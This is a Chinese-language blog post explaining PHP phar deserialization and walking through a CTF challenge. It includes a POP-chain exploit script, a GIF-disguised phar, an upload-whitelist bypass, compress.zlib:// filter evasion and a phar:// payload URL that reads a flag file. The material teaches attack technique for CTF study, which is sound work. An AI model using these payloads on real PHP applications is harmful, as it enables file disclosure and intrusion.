【反序列化漏洞】phar反序列化原理&实例分析

简介: 简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

一、漏洞原理:

phar介绍:

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。


phar结构由 4 部分组成:

stub phar 文件标识,格式为 xxx;

manifest 压缩文件的属性等信息,以序列化存储;

contents 压缩文件的内容;

signature 签名,放在文件末尾;

这里有两个关键点:

①文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制

②反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化


而这样的文件操作函数有很多:


将phar伪造成其他格式的文件:

只需要改文件头stub即可,php识别phar文件是通过其文件头的stub,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件:

$phar -> setStub('GIF89a'.'');


利用条件:

①phar文件能够上传

②文件操作函数参数可控,: / phar等特殊字符没有被过滤

③有可用的魔术方法作为"跳板"


绕过phar://不能出现在头部:

这时候我们可以利用compress.zlib://、compress.bzip2://、 compress.zlib://和compress.bzip2: //

payload:


compress.zlib://phar://phar.phar/test.txt




二、phar反序列化实例:

题目源码环境结构如下:


①pop链分析与构造

访问题目环境:

file.php是用于读取文件内容的,可利用此文件将以上文件的源码复制到本地进行分析(这里我就忽略了)


接下来分析关键代码class.php,文件中有三个类:C1e4r、ShowTest

首先我们根据受影响的函数,定位到漏洞触发点:

Test类中的file_get()方法,这里使用了file_get_contents()函数对$value进行了文件读取的操作:


这次我用倒推的思路进行分析,然后看哪个方法又调用了file_get()方法,发现同一个类中的get()方法调用了file_get()方法,然后我们来看一下$value的赋值过程,往前几行看到$value变量的赋值首先经过if判断$this->params[$key]是否有值,如果有值就赋值给$value,所以我们可以想办法将$value的值为flag文件路径


接着看get()方法在哪被调用,还是在Test类中,在__get()魔术方法中调用了get()方法

__get()魔术方法:

当程序调用一个未定义或不可见的成员变量时,会自动调用__get方法来读取变量的值


所以我们要想办法触发__get方法,发现在Show类中的__toString()方法中,使用$this->str['str']->source的方式使用了source属性,而source属性在Test类中是不存在的,所以我们只需要将$this->str['str']赋值为Test类即可触发__get()魔术方法,魔术方法_get() 是有形参的,而上面__get方法中所使用到的实参$key就是这个不存在的变量source


所以Test类中的get方法传入的实参为source,最终$this->params[$key]变为了$this->params['source'],也就是这,所以我们只需要将其赋值为flag文件的路径即可


接着我们要触发Show类中的__toString()方法,发现在C1e4r类中的析构方法__destruct()中用echotest属性进行输出,而test属性在前面是通过str属性进行赋值的,所以我们只需要将str属性赋值为Show类将其作为字符串输出,从而触发其__toString()方法


所以完整的pop链为:


C1e4r::__destruct() -> Show::__toString() -> Test::__get() -> get() -> file_get()


获取flag文件的绝对路径:

file.php获取到网站根目录:


再通过show类中的_show方法的正则得知flag文件名:


所以绝对路径为:


/var/www/html/f1ag.php



②构造EXP:



<?php
class C1e4r{    public $test;    public $str;
}
class Show
{    public $source;    public $str;
}
class Test
{    public $file;    public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a->str = $b;       // 将C1e4r类的str属性设置为Show类触发其__toString()方法
$b->str['str']=$c;       // 将Show类的str属性的str健值设置为Test类触发其__get()方法
$c->params['source'] ='/var/www/html/f1ag.php';   // 设置读取的文件名
// 生成phar文件
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('');
$phar -> setMetadata($a); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算




生成phar文件需要修改php.ini中的配置:


然后执行exp生成phar文件


phar文件内容如下:


③上传phar进行利用:

上传phar文件并利用burp抓包


后端对文件后缀名进行了白名单限制,所以我们利用burp改后缀即可


改包后上传成功:


访问上传目录,可以看到刚才上传的文件:


然后利用phar协议读取flag即可:


http://c98f921e-51e5-42d6-a04a-ab1acfa5b6cd.node4.buuoj.cn:81/file.php?file=phar://upload/xxx.jpg





目录
相关文章
|
4月前
|
存储 Java
【IO面试题 四】、介绍一下Java的序列化与反序列化
Java的序列化与反序列化允许对象通过实现Serializable接口转换成字节序列并存储或传输,之后可以通过ObjectInputStream和ObjectOutputStream的方法将这些字节序列恢复成对象。
|
1月前
|
JSON 数据格式 索引
Python中序列化/反序列化JSON格式的数据
【11月更文挑战第4天】本文介绍了 Python 中使用 `json` 模块进行序列化和反序列化的操作。序列化是指将 Python 对象(如字典、列表)转换为 JSON 字符串,主要使用 `json.dumps` 方法。示例包括基本的字典和列表序列化,以及自定义类的序列化。反序列化则是将 JSON 字符串转换回 Python 对象,使用 `json.loads` 方法。文中还提供了具体的代码示例,展示了如何处理不同类型的 Python 对象。
|
1月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第22天】在Java的世界里,对象序列化和反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何在Java中实现对象的序列化与反序列化,并探讨其背后的原理。通过实际代码示例,我们将一步步展示如何将复杂数据结构转换为字节流,以及如何将这些字节流还原为Java对象。文章还将讨论在使用序列化时应注意的安全性问题,以确保你的应用程序既高效又安全。
|
2月前
|
存储 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第9天】在Java的世界里,对象序列化是连接数据持久化与网络通信的桥梁。本文将深入探讨Java对象序列化的机制、实践方法及反序列化过程,通过代码示例揭示其背后的原理。从基础概念到高级应用,我们将一步步揭开序列化技术的神秘面纱,让读者能够掌握这一强大工具,以应对数据存储和传输的挑战。
|
2月前
|
存储 安全 Java
Java编程中的对象序列化与反序列化
【10月更文挑战第3天】在Java编程的世界里,对象序列化与反序列化是实现数据持久化和网络传输的关键技术。本文将深入探讨Java序列化的原理、应用场景以及如何通过代码示例实现对象的序列化与反序列化过程。从基础概念到实践操作,我们将一步步揭示这一技术的魅力所在。
|
1月前
|
存储 缓存 NoSQL
一篇搞懂!Java对象序列化与反序列化的底层逻辑
本文介绍了Java中的序列化与反序列化,包括基本概念、应用场景、实现方式及注意事项。序列化是将对象转换为字节流,便于存储和传输;反序列化则是将字节流还原为对象。文中详细讲解了实现序列化的步骤,以及常见的反序列化失败原因和最佳实践。通过实例和代码示例,帮助读者更好地理解和应用这一重要技术。
44 0
|
3月前
|
JSON 安全 编译器
扩展类实例的序列化和反序列化
扩展类实例的序列化和反序列化
43 1
|
3月前
|
JSON fastjson Java
niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。- - - - 阿里Fastjson反序列化源码分析
本文详细分析了 Fastjson 反序列化对象的源码(版本 fastjson-1.2.60),揭示了即使 JavaBean 沲有默认无参构造器,Fastjson 仍能正常反序列化的技术内幕。文章通过案例展示了 Fastjson 在不同构造器情况下的行为,并深入探讨了 `ParserConfig#getDeserializer` 方法的核心逻辑。此外,还介绍了 ASM 字节码技术的应用及其在反序列化过程中的角色。
95 10
|
3月前
|
存储 XML JSON
用示例说明序列化和反序列化
用示例说明序列化和反序列化
24 1
|
3月前
|
存储 Java 开发者
Java编程中的对象序列化与反序列化
【9月更文挑战第20天】在本文中,我们将探索Java编程中的一个核心概念——对象序列化与反序列化。通过简单易懂的语言和直观的代码示例,你将学会如何将对象状态保存为字节流,以及如何从字节流恢复对象状态。这不仅有助于理解Java中的I/O机制,还能提升你的数据持久化能力。准备好让你的Java技能更上一层楼了吗?让我们开始吧!